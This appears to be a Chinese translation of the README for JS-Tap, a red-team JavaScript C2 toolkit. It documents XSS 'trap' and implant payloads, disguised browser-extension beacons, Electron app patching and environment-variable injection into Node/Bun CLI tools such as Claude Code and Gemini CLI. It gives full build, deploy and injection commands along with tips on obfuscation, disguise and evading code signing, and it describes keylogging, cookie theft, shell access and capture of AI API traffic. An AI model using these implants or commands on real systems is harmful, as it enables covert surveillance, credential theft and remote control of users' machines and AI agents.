JavaScript 信标和 C2,用于 XSS 有效载荷或后利用植入,针对 Web 应用服务器或桌面软件,以监视用户并维持持久性。包含浏览器扩展、Electron 应用以及 Node/Bun 应用植入程序。
主要变更记录在项目公告中:
https://github.com/hoodoer/JS-Tap/discussions/categories/announcements
你可以在这里阅读关于 JS-Tap 的原始博客文章:
https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams
来自 ShmooCon 的 JS-Tap 第1版简短演示:
https://youtu.be/IDLMMiqV6ss?si=XunvnVarqSIjx_x0&t=19814
在 HackSpaceCon 上演示的 JS-Tap 第2版,包括 C2 以及如何将其用作后渗透植入:
https://youtu.be/aWvNLJnqObQ?t=11719
自动载荷生成器演示,使用拦截的表单提交和 JavaScript 网络流量作为生成自定义 C2 载荷的蓝图:
https://www.youtube.com/watch?v=cU915mxLfTo
在 CactusCon 上演示的 v2 版本,包括模仿功能:
https://youtu.be/O7-zxAmP13o?si=gchYwOJksutCCUPH
v3 Beacons 演示(测试版代码):
https://youtu.be/-esrfSHqZeo
我不打算为数据库创建迁移脚本,版本号升级通常涉及数据库模式更改(请查看更新日志)。升级版本时,你应该删除 jsTap.db 数据库。如果你的 JS-Tap 服务器中有自定义载荷,请在删除数据库文件之前务必导出它们。
JS-Tap 是一个基于 JavaScript 的进攻性工具包,专为红队设计。它最初是一个通用的 JavaScript 载荷,用于通过 XSS 或后渗透植入攻击 web 应用,现已发展出浏览器扩展和 Electron 桌面应用植入——所有这些都报告给同一个 C2 服务器。
该载荷不需要运行载荷的目标用户已认证到被攻击的应用,也不需要事先了解应用,只需找到一种方法将 JavaScript 注入应用中即可。
JS-Tap 载荷不直接攻击应用服务器,而是专注于应用客户端并对其代码进行大量检测。C2 系统允许添加自定义 JavaScript 载荷并作为任务在 JS-Tap 客户端上运行,从而提供直接攻击应用服务器的手段。为了更快地转向攻击服务器,JS-Tap 现在包含一个“模仿”功能,可自动生成自定义载荷并将其交给 C2 系统。
示例 DOM Beacon 载荷包含在 payloads 目录的 telemlib.js 文件中,但此目录中的所有文件均未经认证即可提供,因此你可以同时提供多个针对不同应用的配置不同的载荷。
将 telemlib.js 文件复制为你希望的任何文件名,并根据需要修改配置。该文件_未_经过混淆。在参与行动之前,强烈建议更改端点命名、删除注释并对载荷进行高度混淆。默认情况下,应用使用相当明显的 API 端点(例如 /loot/screenshot),在 应用设置 中你可以开启流量混淆。
在公共暴露的服务器上使用之前,请务必仔细阅读下面的配置部分。
JS-Tap 有五种信标/代理类型连接到同一台服务器:
所有五种信标都报告给同一个 JS-Tap 服务器门户,在此查看战利品并发出 C2 命令。
门户还包括两个会话克隆工具:
| 工具 | 功能 |
|---|---|
| 浏览器代理 | JS-Tap 服务器上的 MITM 代理,通过 WebSocket 将操作员的 HTTP/HTTPS 流量路由到受害者的浏览器(或 Node.js 进程)。请求从受害者的网络上下文中获取,因此目标站点看到的是受害者的 IP 和 TLS 指纹。与 Session Ticket 结合,可通过受害者的网络进行认证浏览。BEX、Atom 和 V8 Beacons 均支持。参见下面的 浏览器代理。 |
| JS-Tap Conductor | 独立的 Firefox 扩展,导入 BEX Beacon 捕获的会话数据(作为“JS-Tap Ticket”)并在本地重放——设置 Cookie、注入头、填充存储、伪造 User-Agent——以便操作员以受害者身份浏览。参见下面的 。 |
独立的 DOM Beacon: DOM Beacon 载荷 (telemlib.js) 独立工作。通过 XSS 注入或植入目标应用的 JS 文件中。它会自行向 JS-Tap 服务器回连。
BEX Beacon 作为投放器: BEX Beacon 监控浏览并收集被动情报(Cookie、localStorage、sessionStorage、请求头、导航)。从 JS-Tap 门户,你可以命令信标将 DOM Beacon 注入到特定域名。由 BEX Beacon 派生的 DOM Beacon 通过扩展的 captureVisibleTab API 获得高质量的屏幕截图(“BEX-Assist”模式)。
Sidecar 用于操作系统访问: 安装后,Sidecar 二进制文件使 BEX Beacon 能够访问底层操作系统。命令从 JS-Tap 门户发送,通过信标的加密通道中继到原生二进制文件,结果返回。这将浏览器扩展转变为文件系统访问和命令执行的立足点。
浏览器代理用于实时浏览: 操作员将浏览器配置为使用 JS-Tap 代理,所有 HTTP/HTTPS 流量实时通过受害者的浏览器路由。代理执行 MITM TLS 终止(使用自动生成的 CA),以便操作员可以浏览 HTTPS 站点。代理是一个“哑管道”——它精确转发操作员浏览器发送的内容。对于认证浏览,与 Session Ticket 结合:JS-Tap Conductor 将受害者的 Cookie、头和 User-Agent 注入到操作员的浏览器中,MITM 代理将其转发给信标,信标从受害者的网络中获取。这使操作员从受害者的 IP 地址获得认证会话。BEX、Atom 和 V8 Beacons 都支持代理模式。
用于 Electron 应用的 Atom Beacon: atomize.py 修补程序修改 Electron 应用的 ASAR 存档以注入 Atom Beacon 代理。启动时,代理向 JS-Tap 服务器注册,开始加密的 C2 通信,并自动将渲染器载荷注入到应用创建的每个 BrowserWindow 中。主进程代理提供原生操作系统访问(文件系统、命令执行),而渲染器载荷收集 DOM 级别的数据(按键、输入、表单、Cookie、存储、网络调用)。由于它在 Electron 主进程中运行,具有完整的 Node.js 访问权限,因此不需要单独的 sidecar 二进制文件——文件浏览、文件读取和 shell 命令都是内置的。
用于 CLI 工具的 V8 Beacon: V8 Beacon 针对基于 Node.js 和 Bun 的 CLI 应用。设置环境变量(NODE_OPTIONS 或 BUN_OPTIONS),信标在应用自身代码之前加载——无需修补或修改目标应用。它猴子补丁 http.request、https.request、fetch 和 http2.connect 以拦截所有网络流量,挂钩 以捕获按键,并通过 C2 通道提供文件浏览和 shell 执行。产生子进程的 CLI 工具(例如 Gemini CLI 为交互式会话产生自身作为子进程)会自动处理——子进程继承父进程的会话密钥,并在门户中共享同一个逻辑客户端。跨运行时子进程过滤可防止 Bun 应用的 Node.js 实用子进程注册为单独的客户端。
注意:在陷阱模式下可以接收 XHR 和 Fetch API 调用的副本。在植入模式下,目前只能复制 Fetch API。植入模式下表单提交的拦截有时可能会错过。
browser.cookies.getAll() 获取,附带元数据:httpOnly、secure、sameSite、path、domain、expiration)主进程代理(Node.js 运行时):
session.cookies API(包括 httpOnly,带元数据)webRequest.onBeforeSendHeaderswebRequest.onHeadersReceiveddesktopCapturer API(捕获 GPU 合成输出)渲染器载荷(注入到所有应用窗口):
document.cookie,跟踪变更)process.stdin 捕获按键(缓冲为可读字符串,每 2 秒或按 Enter 时刷新)DOM Beacon 载荷有两种操作模式。模式是 trap 还是 implant 在 initGlobals() 函数中设置,搜索 window.taperMode 变量。
陷阱模式通常是你作为 XSS 载荷使用的模式。XSS 载荷的执行通常是短暂的,查看恶意 JavaScript 载荷运行的页面的用户可能会关闭浏览器标签(页面不有趣)或导航到应用的其他地方。在这两种情况下,载荷将从内存中删除并停止工作。JS-Tap 需要运行很长时间,否则你不会收集到有用的数据。
陷阱模式通过使用 iFrame 陷阱技术 建立持久性来应对这一问题。JS-Tap 载荷将创建一个全页 iFrame,并将用户引导到应用的其他地方。这个起始页面必须提前配置。在 initGlobals() 函数中搜索 window.taperstartingPage 变量,并将其设置为目标应用中的一个适当起始位置。
在陷阱模式下,JS-Tap 监控用户在 iframe 陷阱中的位置,并伪造浏览器的地址栏以匹配 iframe 的位置。
请注意,如果目标应用设置了 CSP 或 X-Frame-Options 头部,它必须允许来自同源或自身的 iFraming。基于 JavaScript 的框架破坏器也可能阻止 iFrame 陷阱工作。
注意,我在非常特定的应用位置使用陷阱模式作为后渗透植入时取得了良好效果,或者当我不确定应用在认证部分内部使用了哪些资源时。你可以将植入放在登录页面,陷阱模式启动页面设置为 window.location.href(即当前位置)。当用户访问登录页面时,陷阱将生效,并且希望他们会继续在 iframe 陷阱内进入应用的认证部分。
用户刷新页面通常会破坏/逃脱 iframe 陷阱。
植入模式通常在你直接将载荷添加到目标应用中时使用。也许你在托管应用 JavaScript 文件的服务器上有一个 shell。将载荷添加到整个应用中都使用的 JavaScript 文件中(jQuery、main.js 等)。哪个文件最理想实际上取决于具体的应用以及它如何使用 JavaScript 文件。植入模式不需要配置起始页面,也不使用 iFrame 陷阱技术。
在植入模式下,用户刷新页面通常会继续运行 JS-Tap 载荷。
植入模式更可能与应用兼容,因为它不涉及所有额外的 iframe 持久性代码。
BEX Beacon 是 JS-Tap 的浏览器扩展版本。它有两个主要目的:
BEX Beacon 使用应用层加密通信(AES-GCM)与 JS-Tap 服务器通信。所有遥测和任务响应通过单个端点进行端到端加密,使网络流量更难被指纹识别。
该扩展还包括 CSP/X-Frame-Options 头部剥离(通过 declarativeNetRequest 规则)等功能,以促进 JS-Tap 在严格环境中的注入。对于使用 <meta http-equiv="Content-Security-Policy"> 标签的目标(这些标签嵌入在 HTML 中,无法通过头部规则剥离),BEX Beacon 使用捆绑注入方法——将 telemlib.js 打包在扩展内部,并通过 chrome.scripting.executeScript({ files }) 注入,这通过浏览器特权扩展注入机制完全绕过了页面级别的 CSP。
当与可选的 Sidecar 原生消息主机配合使用时,BEX Beacon 可在目标机器上获得操作系统级别的访问权限。参见下面的 Sidecar 部分。
Atom Beacon 是用于 Electron 桌面应用的植入。它作为一个双层代理运行——一个特权的主进程代理,具有完整的 Node.js 运行时访问权限,以及自动注入到应用创建的每个 BrowserWindow 中的渲染器载荷。
与 BEX Beacon + Sidecar 组合不同,Atom Beacon 不需要单独的原生二进制文件来访问操作系统——文件系统操作、命令执行和屏幕截图捕获都内置于主进程代理中,使用 Node.js API。
Atom Beacon 使用与 BEX Beacon 相同的加密通信协议(通过单一端点的 AES-GCM 加密,配合 RSA-OAEP 密钥交换)。它注册为独立的客户端类型(atom-beacon),并出现在 应用 视图中,与 DOM Beacons 并列。关键功能:
webContents.executeJavaScript() 自动将数据收集载荷注入所有 BrowserWindow,包括初始启动后创建的窗口。渲染器载荷捕获按键、输入、表单、Cookie、存储、URL、HTML 以及 XHR/Fetch 网络调用。desktopCapturer API 捕获窗口截图,生成包括 GPU 合成内容的像素级完美截图。支持手动捕获(通过门户 UI)、启发式自动捕获(窗口聚焦、导航和新窗口时)以及可配置的冷却期。webRequest.onBeforeSendHeaders 捕获请求头,并通过 webRequest.onHeadersReceived 捕获响应头。session.cookies.get() 从 Electron 会话中读取所有 Cookie(包括 httpOnly)。设置和使用请参见下方的 Atom Beacon(修补 Electron 应用)。
V8 Beacon 是用于 Node.js 和 Bun 命令行应用的植入程序。与需要修补应用 ASAR 归档的 Atom Beacon 不同,V8 Beacon 通过环境变量注入——无需修改目标应用。
支持的运行时:
export NODE_OPTIONS="--require /path/to/v8-beacon.js"(已在 Gemini CLI 和其他 Node.js 工具上测试)export BUN_OPTIONS="--preload /path/to/v8-beacon.js"(已在 Claude Code 上测试)该信标使用与 BEX 和 Atom 信标相同的加密通信协议(基于 RSA-OAEP 密钥交换的单端点 AES-GCM 加密)。它注册为客户端类型 v8-beacon,并显示在门户的 Nodes 视图中。
关键功能:
http.request、https.request、globalThis.fetch 和 http2.connect 进行猴子补丁,以捕获所有发出的网络调用,包括完整的请求/响应体、头部和状态码。SSE 流式响应(AI API,如 Anthropic 的 Messages API 和 Google 的 Gemini API 使用)通过分叉响应流来捕获。Gzip 压缩的响应会自动解压。process.stdin 以捕获用户输入。按键被缓冲为可读字符串,每 2 秒刷新一次(或在按下 Enter 键时立即刷新)。设置和使用请参见下方的 V8 Beacon(Node.js / Bun CLI 应用)。
JS-Tap 使用三种不同的截图方法:
默认用于 DOM Beacon 植入程序。它尝试将页面重构为 canvas 元素并导出为图像。这对大多数网站效果良好,但对于复杂的现代应用(如 Reddit)或跨域图片可能存在问题。
当 DOM Beacon 植入程序由 BEX Beacon 生成时,它能够访问扩展的高级浏览器 API。在这种模式下,植入程序要求信标使用 chrome.tabs.captureVisibleTab 进行截图。这会产生像素级完美的高质量捕获,绕过了 html2canvas 的所有 CSS/DOM 限制。这是复杂目标的推荐模式。
Atom Beacon 使用 Electron 的 desktopCapturer API 捕获窗口截图。这会捕获实际的 GPU 合成窗口输出,为复杂的 Electron 应用(Slack、VS Code、Discord 等)生成像素级完美的截图。截图可以从门户手动触发,也可以通过可配置的启发式规则自动触发(窗口焦点变化、导航事件、新窗口创建)。
需要 Python 3。jsTapServer 需要大量依赖项,强烈建议使用 Python 虚拟环境来隔离服务器软件的库(或使用你喜欢的其他隔离方法)。
示例:``` mkdir jsTapEnvironment python3 -m venv jsTapEnvironment source jsTapEnvironment/bin/activate cd jsTapEnvironment git clone https://github.com/hoodoer/JS-Tap cd JS-Tap pip3 install -r requirements.txt
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365 -nodes
python3 jsTapServer.py #or
./jstapRun.sh
服务器在每次启动时自动生成随机管理员密码并打印到控制台。凭据也保存在项目根目录的 `adminCreds.txt` 中。在开发/测试期间,删除 `jsTap.db` 是安全的——它会在启动时自动重新生成。
### 构建(统一构建)
项目根目录的统一构建脚本处理所有事项:构建 Chrome 和 Firefox 的扩展、打包以部署、可选地交叉编译 sidecar 二进制文件,并生成自包含的部署包,可直接复制到目标机器。
#### 先决条件
- **Node.js**(用于 WXT 扩展构建和 .crx 打包)
- **Go**(1.21+)——仅在启用 sidecar 时需要
- **Python 3**
#### 快速开始
1. 配置 `bex-beacon/config.json`(参见下面的[配置](#bex-beacon-configuration-configjson))。
2. 安装 Node 依赖(仅首次):```bash
cd bex-beacon && npm install && cd ..
建立 Chrome MV3 和 Firefox MV2 扩展,打包为 `.crx`/`.xpi`,交叉编译 sidecar 二进制文件(如果启用),并生成部署包。构建脚本会在每次构建时自动递增扩展的补丁版本号(例如 `2.1.5` → `2.1.6`),更新 `bex-beacon/config.json`,以确保浏览器强制安装机制(Chrome/Edge 企业策略)能够获取更新后的构建。
#### 构建标志
| 标志 | 效果 |
|---|---|
| `--ext-only` | 仅构建扩展,跳过 sidecar |
| `--sidecar-only` | 仅构建 sidecar,跳过扩展 |
| `--legacy` | 同时构建旧版扩展(来自 `src-chrome-extension/` 和 `src-firefox-extension/`) |
#### 构建输出```
build/
chrome-mv3/ # Unpacked Chrome extension (for development)
firefox-mv2/ # Unpacked Firefox extension (for development)
extension.crx # Packed Chrome extension (if key.pem configured)
extension.xpi # Packed Firefox extension
sidecar/ # Sidecar binaries + manifests (when enabled)
deploy/ # Self-contained deploy bundles
chrome-linux.tar.gz
chrome-mac.tar.gz
chrome-windows.zip
chromium-linux.tar.gz
chromium-mac.tar.gz
firefox-linux.tar.gz
firefox-mac.tar.gz
firefox-windows.zip
对于生产环境使用,您应生成一个静态密钥对,以便Chrome扩展ID在构建过程中保持一致。这是sidecar的本机消息清单正确地将扩展列入白名单所必需的。```bash
openssl genrsa 2048 > key.pem
openssl rsa -in key.pem -pubout -outform DER | base64 -w0
将 base64 输出添加到 `extension_ids.chrome_key`,并将 `extension_ids.chrome_key_pem` 设置为 `bex-beacon/config.json` 中的 `key.pem`。构建脚本会自动计算并验证 32 位字符的 Chrome 扩展 ID。
Firefox 扩展 ID 直接通过 `extension_ids.firefox_extension_id` 设置(例如 `bex-beacon@jstap`)。
### 部署到目标
每个部署包都是一个 **自包含归档文件** —— 一个要复制到目标机器的文件。
**工作流程:**
1. 将合适的归档文件复制到目标机器(例如 `chrome-linux.tar.gz`)
2. 解压缩
3. 运行安装脚本```bash
# Linux/macOS
tar xzf chrome-linux.tar.gz
cd chrome-linux
./install.sh
# Windows
# Extract chrome-windows.zip, then run:
install.bat
安装脚本的作用:
启用 sidecar 时,安装脚本还会安装 sidecar 二进制文件,并将原生消息清单写入正确的浏览器/操作系统特定位置。Sidecar 安装为用户级别(无需 sudo)。
Chrome/Chromium 安装详情(Linux):
ExtensionSettings 的 force_installed 模式)/opt/jstap//etc/chromium/policies/managed/(Chromium)或 /etc/opt/chrome/policies/managed/(Chrome)Chrome/Chromium 安装详情(macOS):
/Library/Application Support/JSTap/每个部署包都包含一个卸载脚本(uninstall.sh 或 uninstall.bat),用于彻底删除安装脚本部署的所有内容。```bash
./uninstall.sh
uninstall.bat
**卸载脚本会移除的内容:**
| 组件 | 移除的内容 |
|---|---|
| **Chrome/Chromium 扩展** (Linux) | 系统目录中的企业策略 JSON + CRX + 更新清单 (需要 `sudo`) |
| **Chrome/Chromium 扩展** (macOS) | 系统目录中的外部扩展 JSON + CRX (需要 `sudo`) |
| **Chrome 扩展** (Windows) | 注册表项 + `%LOCALAPPDATA%\JSTap` 中的扩展文件 |
| **Firefox 扩展** | Firefox 配置文件 `extensions/` 目录中的 `.xpi` 文件 |
| **Sidecar** (如果存在) | `~/.local/bin/` 中的二进制文件、原生消息清单 JSON 以及 (Windows) 注册表项 |
卸载后,请重启浏览器以使更改生效。
#### 开发用途
在开发与测试时,可以跳过部署包,直接加载扩展:
- **Chrome:** `chrome://extensions` -> 启用开发者模式 -> 加载已解压的扩展 -> 选择 `build/chrome-mv3/`
- **Firefox:** `about:debugging` -> 此 Firefox -> 加载临时附加组件 -> 选择 `build/firefox-mv2/` 内的任意文件
### Sidecar(原生消息主机)
Sidecar 是**可选的**。它是一个 Go 二进制程序,通过浏览器的原生消息 API 与 BEX Beacon 通信,提供操作系统级别的访问(文件浏览、文件读取、命令执行)。
#### 启用与构建
1. 在 `bex-beacon/config.json` 中设置 `sidecar.enabled: true`
2. 在 `extension_ids` 中配置扩展 ID(参见上文[静态扩展 ID](#static-extension-ids))
3. 运行统一构建:```bash
python3 buildAll.py
构建脚本自动将扩展ID从中央配置同步到 sidecar/config.json,为所有平台交叉编译sidecar二进制文件,并在每个部署包中包含正确的二进制文件。
如果你需要仅重建sidecar而不重建扩展:```bash python3 buildAll.py --sidecar-only
或者直接构建它(如果没有本地配置文件,它将回退读取`../bex-beacon/config.json`):```bash
cd sidecar
python3 buildSidecar.py
在开发过程中的测试迭代中,使用特定于 sidecar 的卸载脚本移除以删除二进制文件和所有原生消息清单:```bash ./sidecar/uninstall.sh
这将从 `~/.local/bin/` 中移除二进制文件,并从所有 Chrome/Firefox 清单目录(Linux 和 macOS)中移除清单 JSON。
对于已部署的系统,请改用捆绑包的 `uninstall.sh` 或 `uninstall.bat`——它可一步移除扩展程序和 sidecar。请参阅上面的[卸载](#uninstalling)。
#### Sidecar 的工作原理```
JS-Tap Portal UI
│ POST /api/sidecar/command
▼
JS-Tap Server (queues SIDECAR_COMMAND task)
│ Beacon polls on heartbeat
▼
BEX Beacon (background service worker)
│ browser.runtime.connectNative()
▼
Sidecar Go Binary (native messaging, stdio)
│ Executes command, returns result
▼
BEX Beacon (encrypts result, sends to server)
│ POST /client/metrics/<uuid>
▼
JS-Tap Server (stores SidecarResult)
│ UI polls GET /api/sidecar/result/<requestId>
▼
JS-Tap Portal UI (displays result)
信标(beacon)和 sidecar 二进制文件之间的通信使用原生消息协议 ——每条消息都以4字节小端长度前缀,后跟JSON有效载荷。
Sidecar 命令:
Atom Beacon 植入物使用 atomize.py 修补器注入到 Electron 桌面应用程序中。它修改应用程序的 ASAR 归档文件(或解压的应用程序目录),将代理代码预置到主进程入口点。
resources/app.asar 或 resources/app/ 目录在 Linux 和 macOS 上,可以直接使用 Python 3 运行 atomize.py。在 Windows 上,可能未安装 Python。你可以使用 PyInstaller 构建独立的 atomize.exe:```bash
cd atom-beacon
pip install pyinstaller
pyinstaller atomize.spec
这将生成 `dist/atomize.exe` ——一个单文件可执行程序,它打包了 Python、ASAR 库和载荷文件。目标 Windows 机器上无需安装 Python。用法与 Python 版本相同:```
atomize.exe --detect-only C:\Users\target\AppData\Local\slack\app-4.40.0
atomize.exe --server https://10.0.0.1:8444 C:\Users\target\AppData\Local\slack\app-4.40.0
注意: PyInstaller 只能为其运行的操作系统构建。要构建 Windows
.exe,请在 Windows 机器(或 Windows VM/CI 运行器)上运行 PyInstaller。
Windows pip 故障排除:
如果 pip 在 Windows 上无法识别但 python 可以正常使用,请改用 python -m pip:```
python -m pip install pyinstaller
如果安装后找不到`pyinstaller`,请使用`python -m PyInstaller`(区分大小写):```
python -m PyInstaller atomize.spec
如果 pip 本身不可用,请确保安装 Python 时勾选了 "Add Python to PATH" 复选框。你也可以手动引导 pip:``` python -m ensurepip --upgrade
#### 分析目标
在修补之前,使用 `--detect-only` 分析目标应用的结构、安全设置和代码签名状态:```bash
cd atom-beacon
python3 atomize.py --detect-only /Applications/Slack.app
此报告显示:
package.json)cd atom-beacon python3 atomize.py --server https://10.0.0.1:8444 /Applications/Slack.app
选项:
| 标志 | 描述 |
|---|---|
| `--server URL` | JS-Tap 服务器 URL(修补必需) |
| `--tag TAG` | 客户端标签,在门户中显示(默认:`atom`) |
| `--detect-only` | 仅分析,不进行修补 |
| `--no-backup` | 跳过创建原始 ASAR 的 `.bak` 备份 |
| `--output PATH` | 将修补后的 ASAR 写入不同路径,而非原地替换 |
该修补程序会自动:
- 在 `.app` 包(macOS)、`resources/` 目录(Linux/Windows)内定位 `app.asar` 或 `app/`,或接受直接路径
- 在修改前创建 `.bak` 备份(除非使用 `--no-backup`)
- 检测并清除已有补丁,然后重新修补
- 为每个补丁生成唯一的 IPC 前缀以避免冲突
- 将渲染器负载作为字符串常量嵌入代理中(单文件注入)
#### 修补后注意事项
| 平台 | 备注 |
|---|---|
| **macOS** | 代码签名失效。如果应用显示“损坏”警告,运行 `xattr -cr /path/to/App.app` 或使用 `codesign --force --deep --sign - /path/to/App.app` 重新签名。 |
| **Windows** | SmartScreen 可能在初始下载时发出警告,但已安装的应用不会重新验证。原地修补可正常工作。 |
| **Linux** | 不强制执行代码签名。修补后的应用正常运行。 |
#### 解包(还原)
要还原已修补的应用,请恢复 `.bak` 文件:```bash
cp /path/to/resources/app.asar.bak /path/to/resources/app.asar
Target Electron App (patched) │ app.asar main entry point ▼ Atom Beacon Agent (main process, Node.js) │ Registers with JS-Tap server │ RSA-OAEP key exchange → AES-GCM encrypted channel ▼ Heartbeat Loop (jittered interval) ├── Poll for tasks (screenshot commands, shell commands, etc.) ├── Flush renderer data (keystrokes, inputs, cookies, storage, network calls) ├── Exfiltrate queued data (encrypted, single endpoint) └── Report status (tracked windows, host info)
Renderer Injection (automatic) │ webContents.executeJavaScript() on every BrowserWindow ▼ Renderer Payload (per-window) ├── Keylogger (keydown capture, debounced flush) ├── Input/Form capture ├── Cookie/localStorage/sessionStorage monitoring ├── URL tracking (including SPA navigation) ├── XHR/Fetch monkey-patching └── HTML source capture
代理通过 BEX 信标使用的相同加密端点与服务器通信(`POST /client/metrics/<uuid>`)。所有数据均使用注册时建立的密钥进行 AES-GCM 加密。
#### 使用工具面板(Atom 信标)
当门户中选中一个 Atom 信标客户端时,**工具**面板提供以下功能:
**浏览器代理面板** — 启动/停止代理、下载 CA 证书、生成代理票据。请求通过 Electron 应用的网络上下文进行路由。
**文件浏览器标签** — 浏览目标文件系统并读取文件,与 BEX Sidecar 文件浏览器相同,但本机运行在 Electron 进程中。
**Shell 标签** — 在目标上执行命令,与 BEX Sidecar shell 相同,但通过 Node.js `child_process` 本机运行。
**截图标签** — 仅限 Atom 信标。提供:
- **立即捕获**按钮,用于手动按需截图
- **自动捕获启发式** — 可配置的切换开关,用于自动截图触发器:
- *窗口聚焦时捕获* — 当用户在应用窗口之间切换时截图
- *导航时捕获* — 页面导航时截图(包括 SPA 导航,如 Slack 中切换频道)
- *新窗口时捕获* — 当应用打开新窗口时截图
- **冷却时间** — 每个窗口自动捕获之间的最小秒数(防止泛滥)
自动捕获使用防抖触发器 — 对于 SPA 导航,截图在最后一次导航/标题更改事件后 3 秒拍摄,确保捕获到达后的内容而不是离开的页面。
工具面板徽章对于 Atom 信标客户端显示 **内置**(因为系统访问是代理的原生能力,不依赖于外部 sidecar 二进制文件)。
### V8 信标(Node.js / Bun CLI 应用)
V8 信标植入通过环境变量注入到 Node.js 和 Bun CLI 应用中。不需要对目标应用进行修补或修改。
#### 构建信标```bash
cd v8-beacon
python3 v8ize.py --server https://10.0.0.1:8444 --tag gemini
| 标志 | 描述 |
|---|---|
--server URL | JS-Tap 服务器 URL(必需) |
--tag TAG | 客户端标签,显示在门户中(默认:v8) |
--output PATH | 输出文件路径(默认:./v8-beacon.js) |
这会生成一个独立的 v8-beacon.js 文件,其中嵌入了服务器 URL 和标签。
对于 Node.js 应用程序(Gemini CLI、OpenCode、自定义 Node.js 工具等):```bash export NODE_OPTIONS="--require /path/to/v8-beacon.js" gemini # or any Node.js CLI tool
**对于 Bun 应用程序**(Claude Code 等):```bash
export BUN_OPTIONS="--preload /path/to/v8-beacon.js"
claude # or any Bun-based CLI tool
您可以同时设置这两个环境变量以覆盖两种运行时环境:```bash export NODE_OPTIONS="--require /path/to/v8-beacon.js" export BUN_OPTIONS="--preload /path/to/v8-beacon.js"
信标在应用程序自身代码之前加载,并开始对运行时进行插桩。目标应用程序正常运行——信标对用户不可见。
#### 工作原理```
Target CLI Application (e.g. claude, gemini)
│ --require / --preload loads v8-beacon.js
▼
V8 Beacon Agent (same process)
│ Registers with JS-Tap server
│ RSA-OAEP key exchange → AES-GCM encrypted channel
▼
Heartbeat Loop (jittered interval)
├── Poll for tasks (shell commands, file browser, proxy start/stop, plugins, etc.)
├── Flush captured data (network calls, keystrokes)
├── Exfiltrate queued data (encrypted, single endpoint)
└── Report status (host info, capabilities, proxy state)
Network Hooks (automatic)
├── http.request / https.request (monkey-patched)
├── globalThis.fetch (monkey-patched)
├── http2.connect (monkey-patched)
└── Module._load intercept for node-fetch
Stdin Hooks (automatic)
├── process.stdin.push / emit
├── tty.ReadStream.prototype.push
└── readline.createInterface
某些 CLI 工具会将自己作为子进程启动。例如,Gemini CLI 在父进程中运行身份验证,然后为交互式会话(实际 API 调用发生的地方)生成一个子进程 node gemini。
V8 Beacon 会自动处理这种情况:
__V8_BEACON_ACTIVE 和 __V8_BEACON_RUNTIME 环境变量__V8_BEACON_UUID、__V8_BEACON_SENDKEY、__V8_BEACON_RECVKEY 传递 UUID 和加密密钥)npm、npx、yarn、tsc、eslint 等)始终会被跳过这意味着包含父进程+子进程的 Gemini CLI 会话在门户中表现为一个客户端,所有事件都被统一。
当在门户中选择一个 V8 Beacon 客户端时(在 节点 选项卡下),工具面板提供以下功能:
浏览器代理面板 — 启动/停止代理,下载 CA 证书,生成代理票据。请求通过 Node.js/Bun 进程的网络上下文进行路由。
文件浏览器选项卡 — 浏览目标文件系统并读取文件,功能与 BEX Sidecar 和 Atom Beacon 文件浏览器相同。
Shell 选项卡 — 通过 Node.js 的 child_process 在目标上执行命令。
工具面板徽章显示 内置(对操作系统的访问是代理本身的原生功能)。
| 应用 | 运行时 | 状态 |
|---|---|---|
| Gemini CLI | Node.js | 完整网络拦截(包括 streamGenerateContent SSE)、键盘记录、文件/Shell 访问 |
| Claude Code | Bun 1.3.10 | 完整网络拦截(包括 /v1/messages SSE 流)、键盘记录、文件/Shell 访问 |
如果您使用 jsTapServer.py 脚本以单线程模式运行 JS-Tap(非常适合测试/演示),则可以在 jsTapServer.py 脚本中直接配置相关选项。
对于生产环境,JS-Tap 应托管在具有 proper SSL 证书(例如来自 letsencrypt)的公共服务器上。最简单的部署方式是让 NGINX 作为 JS-Tap 的前端,处理 letsencrypt 证书,然后将解密后的流量作为本地 HTTP 流量转发给 JS-Tap(即 NGINX 和 JS-Tap 运行在同一 VPS 上)。
如果您将 proxyMode 设置为 true,JS-Tap 服务器将以 HTTP 模式运行,并从 X-Forwarded-For 头中获取客户端 IP 地址,这需要 NGINX 进行相应配置。
当 proxyMode 设置为 false 时,JS-Tap 将使用自签名证书运行,这对于测试很有用。客户端 IP 将从连接客户端的源 IP 中获取。
dataDirectory 参数告诉 JS-Tap 用于存放 SQLite 数据库和战利品目录的路径。并非所有“战利品”都存储在数据库中,特别是截图和抓取的 HTML 文件不在其中。
要更改服务器端口配置,请查看 jsTapServer.py 的最后一行。``` app.run(debug=False, host='0.0.0.0', port=8444, ssl_context='adhoc')
### BEX信标配置(config.json)
位于 `bex-beacon/config.json`。这是所有构建配置——扩展、扩展ID和Sidecar设置的**唯一数据源**。```json
{
"extension": {
"name": "Resource Optimizer",
"short_name": "ResOpt",
"version": "2.1.4",
"description": "Optimizes page resource loading for improved performance.",
"author": "WebPerf Tools",
"homepage_url": "https://www.example.com",
"install_dirname": "webperf-tools"
},
"extension_ids": {
"chrome_key": "",
"chrome_key_pem": "",
"chrome_extension_id": "",
"firefox_extension_id": "bex-beacon@jstap"
},
"js_tap_server": {
"domain": "127.0.0.1",
"port": 8444
},
"heartbeat": {
"base_interval": 5,
"jitter_percent": 30
},
"domain_scoping": {
"whitelist_enabled": false,
"whitelist": [
"https://*.example.com/*",
"http://localhost:8000/*"
]
},
"sidecar": {
"enabled": false,
"host_name": "com.jstap.sidecar",
"binary_name": "sidecar"
}
}
控制扩展的清单元数据和部署命名。更改这些字段可以掩盖扩展在 chrome://extensions 或 about:addons 中的外观。
控制确定性构建的静态扩展 ID。有关设置说明,请参阅 静态扩展 ID。
| 字段 | 描述 |
|---|---|
domain | 你的 JS-Tap 服务器的主机名或 IP。 |
port | JS-Tap 服务器监听的端口。 |
控制信标与服务器通信以报告遥测和获取新任务(如注入命令或 sidecar 命令)的频率。
| 字段 | 描述 |
|---|---|
base_interval | 心跳之间的基本间隔,以秒为单位。默认值:生产环境为 60,开发/测试为 。 |
抖动对于 OPSEC 很重要——它可以防止信标创建完全规则的网络模式,从而被网络监控工具检测到。每次心跳都会使用新的随机性来安排下一次心跳。
控制信标监控和交互的域。
| 字段 | 描述 |
|---|---|
whitelist_enabled | false = 监控所有域(全域模式)。true = 仅监控与白名单模式匹配的域。 |
当启用白名单时,信标会在多个层面强制执行它:
这对于具有严格范围要求的红队演练至关重要。设置 whitelist_enabled: true 可确保信标不会与范围外的域交互。
白名单模式示例:```json "whitelist": [ "https://.targetcorp.com/", "https://app.targetcorp.com/", "http://internal.targetcorp.local:8080/" ]
#### sidecar
